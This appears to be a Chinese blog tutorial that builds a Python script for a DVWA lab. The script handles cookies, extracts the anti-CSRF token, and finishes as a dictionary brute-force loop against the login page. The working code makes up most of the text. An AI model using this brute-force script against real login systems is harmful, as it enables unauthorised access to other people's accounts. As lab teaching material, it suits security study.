现在很的在编写脚本的时候没有灵感,但是我是不一样的,我对代码创造方面想象力丰富,这是我最大的特点,下面我闲着没事就随便写了一个,非常简单的一个脚本
实验环境DVWA登录页面

手动测试他的登录机制
可以用burp进行抓包查看他的请求和响应


发现这个Cookie是第一次请求的时候他返回给客户端的,说明是服务器给的Cookie,基本上都是服务器给的

手动登录查看一下请求,发现有一个给登录着的随机数,如果随机数不正确的话,肯定是登录不了的

找随机数的来源,发现他是上一次请求响应的时候服务器给的

脚步的编写
获取登录的Cookie
用python的会话维持,获得Cookie,不要会话维持就像两个浏览器访问一样到下次Cookie是不一样的
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
r=requests.session()
ask=r.get('http://192.168.84.58/login.php')
getcookies = ask.cookies.items()
print(getcookies)
|
结果
1
| [('PHPSESSID', 'b8lt4lvnr71cdosi1280vdceu4'), ('security', 'low')]
|
我们可以用指定输出列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
r=requests.session()
ask=r.get('http://192.168.84.58/login.php')
getcookies = ask.cookies.items()
print(getcookies[0][0]) print(getcookies[0][1]) print(getcookies[1][0]) print(getcookies[1][1])
|
结果,可以看见cookies获取到了
1 2 3 4
| PHPSESSID omhihkt4k2iae7ujgbl1q0dht6 security low
|

获得随机数
应为随机数是在请求的响应的数据比分里面只能用正则表达式来获取
正则表达式写错\w{32}
就可以匹配到了,他的意思是字母数字及下划线有连续的32个

代码这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import re import requests
r=requests.session()
ask=r.get('http://192.168.84.58/login.php')
x =re.findall('\w{32}',ask.text)
print(x[0])
|
结果
1
| 44c9b688a6d79d94727744f97e2108c0
|
POST请求模拟登录
上面的cookies和随机数都已经得到了就可以破解了
我们就可以编写一个post
请求
查看他的请求内容

post请求数据部分就可以下面这样写
1 2 3 4 5 6
| data={ 'username':'xxxx', 'password':'xxxx', 'Login':'login', 'user_token':x[0] }
|
全部代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import re import requests
r=requests.session()
ask=r.get('http://192.168.192.58/login.php')
x =re.findall('\w{32}',ask.text)
data={ 'username':'admin', 'password':'password', 'Login':'login', 'user_token':x[0] }
getcookies = ask.cookies.items()
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]
headers = { 'Cookie':Cookies, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" }
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)
|
判断登录是否成功
在登录失败的时候他会返还Login failed

我们就可以通过判断有没有Login failed
来实现
代码
1 2 3 4 5 6 7 8 9
|
failed =re.findall('Login failed',ask.text)
if failed != ['Login failed']: print('登录成功') else: print('破解失败')
|
全部代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import re import requests
r=requests.session()
ask=r.get('http://192.168.192.58/login.php')
x =re.findall('\w{32}',ask.text)
data={ 'username':'admin', 'password':'password', 'Login':'login', 'user_token':x[0] }
getcookies = ask.cookies.items()
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]
headers = { 'Cookie':Cookies, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" }
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)
failed =re.findall('Login failed',ask.text)
if failed != ['Login failed']: print('登录成功') else: print('破解失败')
|
测试
输入正确的密码

输入错误密码,他就登录失败了说明没有问题

字典破解
这个就是文件的读取进行破解就没有什么好说的了
他的文件

文件内容

破解代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import re import requests
admin_txt=open("admin.txt",'r',errors="ignore")
def Crack(admin_txt):
count = 0
for admin in admin_txt:
password_txt = open("password.txt", 'r', errors="ignore")
for password in password_txt:
r=requests.session() ask=r.get('http://192.168.31.122/login.php')
x =re.findall('\w{32}',ask.text)
data={ 'username':admin.rstrip(), 'password':password.rstrip(), 'Login':'login', 'user_token':x[0] }
getcookies = ask.cookies.items()
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]
headers = { 'Cookie':Cookies, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" }
ask=r.post('http://192.168.31.122/login.php',headers=headers,data=data)
failed =re.findall('Login failed',ask.text)
count += 1
if failed != ['Login failed']:
print(str(count)+'破解成功:用户名'+admin.rstrip()+'密码'+password.rstrip())
admin_txt.close() password_txt.close() return else: print(str(count)+admin.rstrip()+password.rstrip())
password_txt.close()
Crack(admin_txt)
|
结果
